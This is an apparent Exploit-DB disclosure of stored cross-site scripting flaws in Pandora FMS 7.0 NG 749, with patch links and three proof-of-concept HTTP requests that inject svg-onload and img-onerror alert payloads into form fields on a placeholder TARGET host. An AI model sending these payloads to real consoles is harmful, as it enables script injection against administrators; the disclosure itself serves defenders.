Pandora FMS 7.0 NG 749 - Multiple Persistent Cross-Site Scripting Vulnerabilities

vendor:

Pandora FMS

by:

Matthew Aberegg

8.8

CVSS

HIGH

Persistent Cross-Site Scripting

CWE

Product Name: Pandora FMS

Affected Version From: Pandora FMS 7.0 NG 749

Affected Version To: Pandora FMS 7.0 NG 749

Patch Exists: Yes

Related CWE: N/A

CPE: a:pandorafms:pandora_fms:7.0_ng_749

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu 18.04

2020

Pandora FMS 7.0 NG 749 – Multiple Persistent Cross-Site Scripting Vulnerabilities

A persistent cross-site scripting vulnerability exists in the 'Edit OS' and 'Private Enterprise Numbers' functionalities of Pandora FMS. Vulnerable parameters include 'name', 'description', 'manufacturer' and 'description'.

Mitigation:

The vendor has released patches for both vulnerabilities. The patch for the 'Edit OS' vulnerability can be found at https://github.com/pandorafms/pandorafms/commit/58f521e8b570802fa33c75f99586e5b01b06731b and the patch for the 'Private Enterprise Numbers' vulnerability can be found at https://github.com/pandorafms/pandorafms/commit/b9b94e1382f6e340fd9f3136972cca4373f00eb0.

Source

Exploit-DB raw data:

# Exploit Title: Pandora FMS 7.0 NG 749 - Multiple Persistent Cross-Site Scripting Vulnerabilities
# Date: 11-14-2020
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://pandorafms.com/
# Software Link: https://pandorafms.com/community/get-started/
# Version: Pandora FMS 7.0 NG 749
# Tested on: Ubuntu 18.04


# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists in the "Edit OS" functionality of Pandora FMS.
# Vulnerable Parameters : name, description
# Patch Link : https://github.com/pandorafms/pandorafms/commit/58f521e8b570802fa33c75f99586e5b01b06731b


#POC

POST /pandora_console/index.php?sec=gsetup&sec2=godmode/setup/os&tab=builder HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
Origin: http://TARGET
Connection: close
Referer: http://TARGET/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/os&tab=builder
Cookie: PHPSESSID=i5uv0ugb4bdu9avagk38vcdok3
Upgrade-Insecure-Requests: 1

name=%3Csvg%2Fonload%3Dalert%281%29%3E&description=%3Csvg%2Fonload%3Dalert%281%29%3E&icon=0&id_os=0&action=save&update_button=Create


############################################################################################################

# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists in the "Private Enterprise Numbers" functionality of Pandora FMS.
# Vulnerable Parameters : manufacturer, description
# Patch Link : https://github.com/pandorafms/pandorafms/commit/b9b94e1382f6e340fd9f3136972cca4373f00eb0


#POC

POST /pandora_console/ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------195778570630678476283866516641
Content-Length: 846
Origin: http://TARGET
Connection: close
Referer: http://TARGET/pandora_console/index.php?sec=templates&sec2=godmode/modules/private_enterprise_numbers
Cookie: PHPSESSID=i5uv0ugb4bdu9avagk38vcdok3

-----------------------------195778570630678476283866516641
Content-Disposition: form-data; name="is_new"

1
-----------------------------195778570630678476283866516641
Content-Disposition: form-data; name="page"

godmode/modules/private_enterprise_numbers
-----------------------------195778570630678476283866516641
Content-Disposition: form-data; name="method"

add
-----------------------------195778570630678476283866516641
Content-Disposition: form-data; name="pen"

123
-----------------------------195778570630678476283866516641
Content-Disposition: form-data; name="manufacturer"

<img src=a onerror=alert(1)>
-----------------------------195778570630678476283866516641
Content-Disposition: form-data; name="description"

<img src=a onerror=alert(1)>
-----------------------------195778570630678476283866516641--


############################################################################################################

# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists in the "Module Template Management" functionality of Pandora FMS.
# Vulnerable Parameters : name, description
# Patch Link : https://github.com/pandorafms/pandorafms/commit/e833c318a5a91d6d709a5b266c1245261b4c0e70


# POC

POST /pandora_console/index.php?sec=gmodules&sec2=godmode/modules/manage_module_templates HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 316
Origin: http://TARGET
Connection: close
Referer: http://TARGET/pandora_console/index.php?sec=gmodules&sec2=godmode/modules/manage_module_templates
Cookie: PHPSESSID=i5uv0ugb4bdu9avagk38vcdok3
Upgrade-Insecure-Requests: 1

id_np=0&valid-pen=1%2C2%2C4%2C9%2C11%2C63%2C111%2C116%2C123%2C171%2C173%2C188%2C207%2C674%2C2021%2C2636%2C3375%2C3861%2C6486%2C6574%2C8072%2C10002%2C12356%2C13062%2C14988%2C19464%2C41112%2C52627%2C53526%2C&name=%3Csvg%2Fonload%3Dalert%281%29%3E&description=%3Csvg%2Fonload%3Dalert%281%29%3E&pen=&action_button=Create